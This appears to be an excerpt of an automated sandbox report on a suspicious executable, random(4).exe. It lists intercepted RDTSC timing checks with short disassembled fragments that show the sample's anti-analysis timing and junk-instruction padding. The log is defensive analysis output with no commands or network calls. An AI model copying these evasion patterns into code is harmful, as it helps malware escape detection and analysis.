Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8D6A63 second address: 8D6A67 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8DAAB0 second address: 8DAAB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8DBB38 second address: 8DBB3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8DBB3E second address: 8DBB48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F0264E84AC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8DCB5E second address: 8DCB64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8DBCC3 second address: 8DBCDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84AD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8DBCDF second address: 8DBCE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8DCD56 second address: 8DCD60 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0264E84AC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8DCD60 second address: 8DCD88 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 ja 00007F0264BBFB16h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jne 00007F0264BBFB29h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8E6E09 second address: 8E6E0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8E6E0D second address: 8E6E13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8E6E13 second address: 8E6E24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnp 00007F0264E84AC6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8E6E24 second address: 8E6E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0264BBFB25h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8E6E41 second address: 8E6E63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84AD8h 0x00000007 push eax 0x00000008 push edx 0x00000009 jno 00007F0264E84AC6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8E699C second address: 8E69A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8EC418 second address: 8EC41C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8EC41C second address: 8EC422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8EC422 second address: 8EC428 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8EC428 second address: 8EC42C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8EF743 second address: 8EF74B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8EF74B second address: 8EF751 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8EF751 second address: 8EF771 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0264E84AD1h 0x00000009 jp 00007F0264E84AC6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8EF771 second address: 8EF775 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F3F3F second address: 8F3F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F3F45 second address: 8F3F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0264BBFB1Eh 0x00000009 popad 0x0000000a js 00007F0264BBFB2Ch 0x00000010 jmp 00007F0264BBFB26h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F40D2 second address: 8F40D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F40D9 second address: 8F40E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F4672 second address: 8F468F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jno 00007F0264E84AC6h 0x0000000f popad 0x00000010 jnc 00007F0264E84AC8h 0x00000016 popad 0x00000017 push eax 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F8E59 second address: 8F8E5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F8E5D second address: 8F8E63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F8E63 second address: 8F8E6E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jnc 00007F0264BBFB16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F93B0 second address: 8F93BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F0264E84AC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F93BC second address: 8F93DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F0264BBFB27h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F93DB second address: 8F93ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F0264E84AC6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F93ED second address: 8F93F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F93F1 second address: 8F93F7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F93F7 second address: 8F93FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F9585 second address: 8F9589 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F97DD second address: 8F97EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F0264BBFB16h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F97EB second address: 8F97EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F97EF second address: 8F97F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F97F9 second address: 8F97FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F9AB6 second address: 8F9AC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0264BBFB1Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F9C51 second address: 8F9C57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F9C57 second address: 8F9C5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F9C5B second address: 8F9C5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F9C5F second address: 8F9C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8F9DD3 second address: 8F9DE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 je 00007F0264E84ACEh 0x0000000b pushad 0x0000000c popad 0x0000000d jo 00007F0264E84AC6h 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8AB83D second address: 8AB842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8FA200 second address: 8FA21C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F0264E84AD6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9009C6 second address: 9009EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push esi 0x0000000a pushad 0x0000000b popad 0x0000000c jno 00007F0264BBFB16h 0x00000012 pop esi 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0264BBFB24h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CA064 second address: 8CA068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CA068 second address: 8CA0AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ecx, dword ptr [ebp+122D2F53h] 0x0000000f lea eax, dword ptr [ebp+12484DECh] 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F0264BBFB18h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f nop 0x00000030 push eax 0x00000031 push edx 0x00000032 push edx 0x00000033 jo 00007F0264BBFB16h 0x00000039 pop edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CA0AC second address: 8CA0C7 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0264E84ACCh 0x00000008 jns 00007F0264E84AC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jc 00007F0264E84AC8h 0x00000019 push eax 0x0000001a pop eax 0x0000001b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CA1EE second address: 8CA2B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F0264BBFB22h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F0264BBFB25h 0x00000013 xchg eax, ebx 0x00000014 mov ecx, edi 0x00000016 push dword ptr fs:[00000000h] 0x0000001d mov dx, cx 0x00000020 mov dword ptr fs:[00000000h], esp 0x00000027 ja 00007F0264BBFB1Ah 0x0000002d push esi 0x0000002e mov dh, D1h 0x00000030 pop edi 0x00000031 mov dword ptr [ebp+12484E44h], esp 0x00000037 push 00000000h 0x00000039 push ecx 0x0000003a call 00007F0264BBFB18h 0x0000003f pop ecx 0x00000040 mov dword ptr [esp+04h], ecx 0x00000044 add dword ptr [esp+04h], 0000001Ch 0x0000004c inc ecx 0x0000004d push ecx 0x0000004e ret 0x0000004f pop ecx 0x00000050 ret 0x00000051 sub ecx, 7562C0BFh 0x00000057 mov edx, dword ptr [ebp+122D39A4h] 0x0000005d cmp dword ptr [ebp+122D30E7h], 00000000h 0x00000064 jne 00007F0264BBFC16h 0x0000006a je 00007F0264BBFB1Ch 0x00000070 mov byte ptr [ebp+122D3188h], 00000047h 0x00000077 mov di, 45DCh 0x0000007b mov eax, D49AA7D2h 0x00000080 mov edi, dword ptr [ebp+122D30E7h] 0x00000086 nop 0x00000087 push eax 0x00000088 push edx 0x00000089 pushad 0x0000008a pushad 0x0000008b popad 0x0000008c jmp 00007F0264BBFB20h 0x00000091 popad 0x00000092 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CA2B8 second address: 8CA2CF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c jmp 00007F0264E84ACAh 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CA64D second address: 8CA651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CA651 second address: 8CA655 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CA655 second address: 718D7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F0264BBFB18h 0x0000000c popad 0x0000000d nop 0x0000000e movzx edi, bx 0x00000011 push dword ptr [ebp+122D0B49h] 0x00000017 call dword ptr [ebp+122D2A95h] 0x0000001d pushad 0x0000001e mov dword ptr [ebp+122D3560h], edx 0x00000024 xor eax, eax 0x00000026 add dword ptr [ebp+122D1CCCh], ecx 0x0000002c mov edx, dword ptr [esp+28h] 0x00000030 jmp 00007F0264BBFB1Bh 0x00000035 jmp 00007F0264BBFB22h 0x0000003a mov dword ptr [ebp+122D2E4Fh], eax 0x00000040 mov dword ptr [ebp+122D3560h], esi 0x00000046 mov esi, 0000003Ch 0x0000004b xor dword ptr [ebp+122D3160h], edx 0x00000051 add esi, dword ptr [esp+24h] 0x00000055 mov dword ptr [ebp+122D3560h], edx 0x0000005b lodsw 0x0000005d cmc 0x0000005e add eax, dword ptr [esp+24h] 0x00000062 sub dword ptr [ebp+122D1CCCh], esi 0x00000068 mov ebx, dword ptr [esp+24h] 0x0000006c pushad 0x0000006d mov dword ptr [ebp+122D3560h], esi 0x00000073 and edx, dword ptr [ebp+122D2ED7h] 0x00000079 popad 0x0000007a push eax 0x0000007b push eax 0x0000007c push edx 0x0000007d push ecx 0x0000007e push eax 0x0000007f push edx 0x00000080 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CA7DE second address: 8CA7E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CA821 second address: 8CA825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CA825 second address: 8CA82B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CA82B second address: 8CA836 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F0264BBFB16h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CA836 second address: 8CA876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F0264E84ACFh 0x0000000d xchg eax, esi 0x0000000e cld 0x0000000f sub dword ptr [ebp+124679A9h], ecx 0x00000015 nop 0x00000016 jmp 00007F0264E84AD9h 0x0000001b push eax 0x0000001c push ecx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CAF44 second address: 8CAF4E instructions: 0x00000000 rdtsc 0x00000002 js 00007F0264BBFB16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CAF4E second address: 8CAFC3 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F0264E84AC8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 je 00007F0264E84ACCh 0x00000016 popad 0x00000017 nop 0x00000018 call 00007F0264E84AD3h 0x0000001d jnc 00007F0264E84AD3h 0x00000023 pop edi 0x00000024 push 0000001Eh 0x00000026 push 00000000h 0x00000028 push edi 0x00000029 call 00007F0264E84AC8h 0x0000002e pop edi 0x0000002f mov dword ptr [esp+04h], edi 0x00000033 add dword ptr [esp+04h], 00000018h 0x0000003b inc edi 0x0000003c push edi 0x0000003d ret 0x0000003e pop edi 0x0000003f ret 0x00000040 mov dword ptr [ebp+122D3AE2h], eax 0x00000046 nop 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a push ebx 0x0000004b pop ebx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CAFC3 second address: 8CAFE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CB4F6 second address: 8CB4FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CB4FB second address: 8CB515 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F0264BBFB25h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8CB515 second address: 8AB83D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 or dword ptr [ebp+122D2AC6h], eax 0x0000000e lea eax, dword ptr [ebp+12484DECh] 0x00000014 mov dx, A767h 0x00000018 push eax 0x00000019 push esi 0x0000001a jmp 00007F0264E84ACBh 0x0000001f pop esi 0x00000020 mov dword ptr [esp], eax 0x00000023 and di, 163Fh 0x00000028 call dword ptr [ebp+122D37E2h] 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 push edx 0x00000032 pop edx 0x00000033 pushad 0x00000034 popad 0x00000035 pushad 0x00000036 popad 0x00000037 push eax 0x00000038 pop eax 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 8FFDAF second address: 8FFDB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 87DFE4 second address: 87E034 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264E84AD8h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F0264E84AD3h 0x00000010 jng 00007F0264E84AD7h 0x00000016 jmp 00007F0264E84ACFh 0x0000001b push edx 0x0000001c pop edx 0x0000001d jng 00007F0264E84ACEh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9050E9 second address: 9050ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 9050ED second address: 905122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0264E84AD6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F0264E84ACCh 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jnc 00007F0264E84AC6h 0x00000019 pop edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 905122 second address: 905128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 905704 second address: 905718 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jbe 00007F0264E84AC6h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F0264E84AC6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 905718 second address: 90571C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 905846 second address: 90584A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 90584A second address: 90585C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0264BBFB16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b jns 00007F0264BBFB16h 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 90585C second address: 905867 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 905867 second address: 905875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jns 00007F0264BBFB16h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 904DB3 second address: 904DB8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 904DB8 second address: 904DD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F0264BBFB26h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 905DB5 second address: 905DBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 90606C second address: 906084 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0264BBFB1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 906084 second address: 906088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random(4).exe	RDTSC instruction interceptor: First address: 906088 second address: 90609A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 jc 00007F0264BBFB24h 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
